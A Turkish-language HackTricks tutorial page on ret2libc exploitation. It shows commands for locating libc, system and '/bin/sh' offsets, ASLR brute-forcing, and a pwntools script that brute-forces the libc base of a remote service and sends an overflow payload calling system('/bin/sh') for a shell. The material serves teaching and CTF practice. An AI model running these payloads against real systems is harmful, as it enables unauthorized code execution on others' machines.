Ret2lib
Reading time: 6 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Ret2Libc'nin özü, bir saldırganın sağladığı shellcode'u yığın üzerinde çalıştırmak yerine, bir zayıf programın yürütme akışını paylaşılan bir kütüphanedeki (örneğin, system, execve, strcpy) bir işlevine yönlendirmektir. Saldırgan, yığın üzerindeki dönüş adresini istenen kütüphane işlevine işaret edecek şekilde değiştiren bir yük oluşturur ve çağrı konvansiyonuna göre gerekli argümanların doğru bir şekilde ayarlandığından emin olur.
Örnek Adımlar (basitleştirilmiş)
- Çağrılacak işlevin adresini (örneğin, system) ve çağrılacak komutu (örneğin, /bin/sh) alın
- İlk argümanı komut dizesine işaret eden ve yürütme akışını işleve iletmek için bir ROP zinciri oluşturun
Adresleri Bulma
- Kullanılan
libc
'nin mevcut makineden olduğunu varsayarsak, bellekte nerede yükleneceğini bulmak için:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Eğer ASLR'nin libc'nin adresini değiştirip değiştirmediğini kontrol etmek istiyorsanız şunu yapabilirsiniz:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Kullanılan libc'yi bilmek,
system
fonksiyonuna olan ofseti bulmayı da mümkün kılar:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Kullanılan libc'yi bilmek,
/bin/sh
fonksiyonuna olan ofseti bulmayı da mümkün kılar:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
gdb-peda / GEF Kullanımı
Kullanılan libc'yi bilmek, system fonksiyonunun, exit fonksiyonunun ve /bin/sh
dizesinin adresini almak için Peda veya GEF kullanmayı da mümkün kılar:
p system
p exit
find "/bin/sh"
/proc/<PID>/maps Kullanımı
Eğer süreç her konuştuğunuzda çocuklar oluşturuyorsa (ağ sunucusu) o dosyayı okumayı deneyin (muhtemelen root olmanız gerekecek).
Burada, süreç içinde libc'nin tam olarak nerede yüklü olduğunu ve sürecin her çocuğu için nerede yükleneceğini bulabilirsiniz.
Bu durumda 0xb75dc000 adresinde yüklü (Bu libc'nin temel adresi olacaktır)
Bilinmeyen libc
Bilinmeyen bir libc'nin yükleniyor olabileceği durumlar olabilir (çünkü erişiminiz olmayan bir sunucuda bulunabilir). Bu durumda, bazı adresleri sızdırmak ve hangi libc kütüphanesinin kullanıldığını bulmak için açığı kötüye kullanabilirsiniz:
Ve bunun için bir pwntools şablonunu burada bulabilirsiniz:
2 ofset ile libc'yi Bilmek
https://libc.blukat.me/ sayfasını kontrol edin ve libc içindeki birkaç adres kullanarak kullanılan versiyonu öğrenin.
32 bit'te ASLR'yi Aşmak
Bu kaba kuvvet saldırıları sadece 32 bit sistemler için faydalıdır.
- Eğer istismar yerel ise, libc'nin temel adresini kaba kuvvetle bulmayı deneyebilirsiniz (32 bit sistemler için faydalıdır):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Uzak bir sunucuya saldırıyorsanız,
usleep
libc fonksiyonunun adresini brute-force ile bulmayı deneyebilirsiniz, argüman olarak 10 (örneğin) geçerek. Eğer bir noktada sunucu yanıt vermek için 10 saniye ekstra alıyorsa, bu fonksiyonun adresini bulmuşsunuzdur.
One Gadget
Sadece libc'deki bir belirli adrese atlayarak bir shell çalıştırın:
x86 Ret2lib Kod Örneği
Bu örnekte ASLR brute-force kodun içine entegre edilmiştir ve savunmasız ikili dosya uzak bir sunucuda bulunmaktadır:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib Kod Örneği
Aşağıdaki örneği kontrol edin:
ROP - Return Oriented Programing
ARM64 Ret2lib Örneği
ARM64 durumunda, ret talimatı x30 kaydının işaret ettiği yere atlar ve yığın kaydının işaret ettiği yere değil. Bu nedenle biraz daha karmaşık.
Ayrıca ARM64'te bir talimat, talimatın yaptığı şeyi yapar (talimatların ortasında atlamak ve onları yeni talimatlara dönüştürmek mümkün değildir).
Aşağıdaki örneği kontrol edin:
Ret-into-printf (veya puts)
Bu, printf
/puts
'i belirli verilerle argüman olarak çağırarak işlemden bilgi sızdırmayı sağlar. Örneğin, puts
'in GOT'daki adresini puts
'in bir yürütmesine koymak, puts
'in bellek adresini sızdırır.
Ret2printf
Bu, temelde bir Ret2lib'i printf
format dizeleri zafiyeti haline dönüştürmek için kötüye kullanmak anlamına gelir; ret2lib
'i kullanarak printf'i istismar etmek için değerlerle çağırmak (gereksiz gibi görünüyor ama mümkün):
Diğer Örnekler ve referanslar
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, libc'deki bir işlevin adresine sızdırma verildiğinde, bir gadget kullanarak
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR etkin ama PIE yok, ilk adım, puts'u çağırmak ve sızdırmak için kanaryanın 0x00 baytına kadar bir taşmayı doldurmaktır. Kanarya ile puts'un GOT'dan adresini sızdırmak için bir ROP gadget'ı oluşturulur ve
system('/bin/sh')
çağırmak için bir ROP gadget'ı. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bit, ASLR etkin, kanarya yok, ana işlevden bir çocuk işlevde yığın taşması. Puts'un GOT'dan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırır.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bit, pie yok, kanarya yok, relro yok, nx. Yazma işlevini kullanarak yazma (libc) adresini sızdırır ve bir gadget çağırır.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Yığınlardan kanaryayı sızdırmak için bir format dizesi kullanır ve
/bin/sh
adresi ile sisteme çağırmak için bir tampon taşması yapar (bu GOT'dadır). - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bit, relro yok, kanarya yok, nx, pie. Yığınlardan libc ve heap adreslerini sızdırmak için kötü bir indeksleme kullanır.
system('/bin/sh')
çağırarak bir ret2lib yapmak için tampon taşmasını kötüye kullanır (bir kontrolü aşmak için heap adresine ihtiyaç vardır).
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.